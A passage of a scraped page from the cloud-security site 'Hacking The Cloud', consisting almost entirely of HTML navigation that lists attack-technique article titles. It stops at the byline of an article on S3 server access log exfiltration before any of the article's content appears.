1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Costas Kourmpoglou</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/s3_server_access_logs.md title="Edit this page" 